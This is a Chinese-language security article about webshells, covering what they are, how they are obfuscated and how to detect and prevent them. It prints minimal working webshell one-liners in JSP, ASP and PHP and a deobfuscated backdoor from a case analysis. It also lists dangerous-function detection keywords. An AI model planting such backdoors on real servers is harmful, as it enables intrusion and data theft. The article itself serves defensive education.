web 入侵检测(技术视界网站防入侵)
世界上没有绝对安全的系统
当一名黑客获得你的访问控制权限
他可以操作你的服务器
你的数据库,你的后台
甚至,你的一切……
网站被入侵了?
办案人员常常接到这样的案件:某单位网站遭黑客入侵,被非法上传webshell,首页被修改,系统功能不能正常使用,网站目录下面被上传了大量的asp、php、htm的页面,网站数据库数据被窃取,黑客还赤裸裸的留下大名。
那到底什么是webshell?它有什么危害?如何检测及防范?今天我们就好好来说道说道。(欢迎行业老司机们补充指正~)
1.初识webshell
Webshell是web入侵的脚本攻击工具,简单来说,webshell就是一个asp或php木马后门。当黑客在入侵企业网站时,通常要通过各种方式上传webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。入侵完成后,将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起,让人难辨真假。因此,检测webshell对网站的安全非常重要。
分类
原理
▲jsp的简单的webshell
<%Runtime.getRuntime().exec(request.getParameter("xxx"));%>
▲asp的简单的webshell
<%evalrequest("xxx")%>
▲php的简单的webshell
<?php $a=eval($_GET["xxx"]);?>
webshell含有相同的本质,即:
执行系统命令的函数 接收web参数的功能函数
使用webshell就像是打开一个特殊的web页面,只有当传入的参数正确时才能顺利使用。
例如:1.php
内容为:<?php @eval(@_POST["A"]);?>
只有打开1.php页面且数据包参数有"A"时,才能正确连接使用该后门。
通过连接webshell,执行系统命令,可以查看计算机本机文件,查看用户、密码等敏感信息,还可以直接生成、修改文件(生成木马病毒文件或者网页挂马,数据库添加xss代码等),以及直接下载上传更多文件。
特点
1.存在系统调用的命令执行函数,如eval,system,cmd_shell,assert等;
2.存在系统调用的文件操作函数,如fopen,fwrite,readdir等;
3.存在数据库操作函数,调用系统自身的存储过程来连接数据库操作;
4.隐匿性与伪装性,可隐藏到正常的web源码中;
5.访问ip、次数少,页面孤立;
6.会产生payload流量,可以通过流量镜像与web日志进行检测;
7.变种多,通过各种函数加密,绕过检测。
变种类型
1.函数调用
最终结果: eval(base64_encode${"_POST"}['xxxx'])
2.拼接语句
最终结果: assert(${"_POST"}['sz']);
3.字符操作
4.编码混淆
5 其他:文件名利用
危害
1.长期控制web服务器、主机;
2.上传任意文件或者其他危害性病毒例如(勒索,挖矿病毒),也可以从主机下载任意文件;
3.修改web主页,篡改图片,造成不良社会印象(例如篡改国旗);
4.偷窃删除数据(数据库数据,用户密码,个人信息之类);
5. 控制服务器当肉鸡、攻击跳板,对其他用户实现DDos等攻击。
2.webshell案例分析
对于新手或者经验较少者,很多时候并不能认识或者了解各种各样的文件。不知道那些文件是什么,有什么样的功能,更不敢乱动或者删除。即使发现了可疑的文件也不敢轻举妄动。
在这里举个webshell的分析案例,一步步清理、确认、分析这个webshell的功能与入侵者是如何使用。
原始文件如下,代码混乱
去除注释、排版
分析代码发现,大部分的代码都是通过字符串的|、^、.操作赋值,只有最后两行代码是关键性的代码,而其中的变量都是通过前面的初始化或者是运算得到的。那么我们就可以注释最后两行代码,输出其中所有的变量。
结果如下:
带入到最后的两行代码中,得到:
if(md5(getenv('HTTP_A'))=='5d15db53a91790e913dc4e05a1319c42') $bIywY=create_function('$a,$b,$c',getenv('HTTP_X_UP_CALLING_LINE_ID');
payload
分析如下
当接受参数A时,如果md5(A)== '5d15db53a91790e913dc4e05a1319c42'
则创建匿名函数bIywY,功能为接收('HTTP_X_UP_CALLING_LINE_ID')
然后执行此函数。
黑客入侵时,只需要在HTTP_X_UP_CALLING_LINE_ID部分添加命令即可执行。
3.如何检测webshell?
WebShell检测是攻防对抗中的一个重要环节,是安全防护人员必修之课。如何快速检测Web Server是否已经被植入WebShell文件或代码,对网站安全来说至关重要。
动态检测
跟踪代码执行的函数/变量。
通过PHP扩展的webshell实时动态检测方法,可以基于PHP扩展对PHP代码的编译执行进行监控并结合外部输入变量的标记追踪、黑白名单机制来进行webshell的实时动态检测。
优点:可以有效针对变形、加密的webshell进行检测
缺点:当文件过多时的处理速度可能较慢,不满足用户需求
静态检测
对脚本文件中所使用的关键词、高危函数、文件修改时间、文件权限、 文件所有者以及和其它文件的关联性等多个维度的特征进行检测,即先建立一个恶意字符串特征库。
1.危险函数
① 命令执行函数
php:exec()eval()assert()shell_exec()system()
jsp:Runtime.exec(String cmd)
②接受web参数函数
php:$_POST $_GET $_REQUEST
jsp:request.getParameter()
③变形函数(编码/字符串变形)
php:base64,sha1,md5, preg_replace,pack(hex)
④文件操作函数
php:fpassthru()fsockopen()
⑤其他函数
php:create_fuction()//匿名函数
优点:可快速检测,快速定位
缺点:容易误报,无法对加密或者经过特殊处理的Webshell文件进行检测。尤其是针对窃密型Webshell无法做到准确的检测:窃密型Webshell通常具有和正常的WEB脚本文件具有相似的特征
2.样貌特征
①文件名
或者部分比较直观的名字
②伪装的文件
③加密类型
优点:可以人工肉眼直观的找出不正常,不合理的文件
缺点:对于隐藏在正常文件中的后门以及大马(被恶意使用的大段正常代码)无法做出判断
流量检测
1、抓取工具特征流量
根据抓取的流量显示,对WebShell所做的操作的结果,都会以字符串的形式返回给菜刀进行处理,并显示出来。字符串形式为 "->|xxxx|<-",为菜刀WebShell的特征字符。若发现成功利用菜刀WebShell的行为,基于该特征字符,将会发现此类攻击事件。
优点:可实时检测并阻止,还原攻击场景,快速定位主机和入侵者
缺点:无法检测加密payload,流量镜像部署成本,甚至有可能拖累服务
日志分析
1.访问特征
少量IP访问,总访问次数少,页面孤立。
2.路径特征
不同手段植入的webshell路径各有特征;自动生成文件名,然后放在特定的目录下。
3.时间特征
新创建页面视为异常页面。
注:日志分析只能作为辅助判断或增加异常权重的指标。
优点:可以帮助过滤数据,快速寻找检测的方向与切入点
缺点:不能作为绝对准确的判断手法,更多的是作为辅助方案
统计学检测
1.信息熵
数学上的抽象概念,这里把信息熵理解成某种特定信息的出现概率(离散随机事件的出现概率)。一个系统越是有序,信息熵就越低。反之,一个系统越是混乱,信息熵就越高,为webshell的可能性越高。
2.文件中的最长单词
正常文件中单词是比较短的,当一个文件中的最长单词很长时,这些长单词是很可疑的。一般webshell经过base64编码后会形成一个长字符串。
优点:对于混淆代码的识别能力较强
缺点:限制于代码编写者的写作习惯与混淆方式,对于附加在正常文件里的恶意代码检测能力较弱
已知后门对比
1.文件相似度
大部分入侵者为脚本小子的级别,并不会自己生成webshell,而是从网上获取他人的脚本且几乎不改变,这种情况下文件相似度极大。
2.文件hash,md5值对比
优点:准确率高
缺点:需要大量的数据组成样本库,且大量文件对比的情况下检测速度较慢
机器学习
Webshell 必然有一些规律,比如执行了某些操作(执行获取到的命令、列出目录文件、上传文件、查看文件等等)。如果直接用源代码分析,会出现很多的噪音,比如注释内容、花操作等等。如果我们将Webshell的源代码转化成仅含执行语句操作的内容,就会一定程度上,过滤掉这些噪音。通过采用词袋,词频等方法来进行提取关键特征。最后使用分类的算法来进行训练。
优点:准确率高
缺点:需要大量的训练数据与优秀的数学建模,提升成本
4.如何防止系统被植入WebShell?
关闭危险函数、系统命令函数的使用功能
注意敏感信息隐藏。例如,不回显上传文件路径,报错信息等
加强输入、上传文件的检查
关闭上传文件夹的代码执行权限
对上传的文件进行改名
关闭危险或不需要的端口
及时加固,打补丁
使用waf之类的安全工具
本文详细介绍了入侵取证过程中常见的webshell木马以及7种检测木马的方案方法,可以为防范入侵以及计算机取证工作带来更多的思路和线索。
文章部分内容参考于网络,如对文中的操作、描述有任何疑问,或者有任何入侵取证、计算机取证需求,欢迎拨打热线电话028-85211099或直接在微信公众号给我们留言,我们会尽快联系您。
,免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com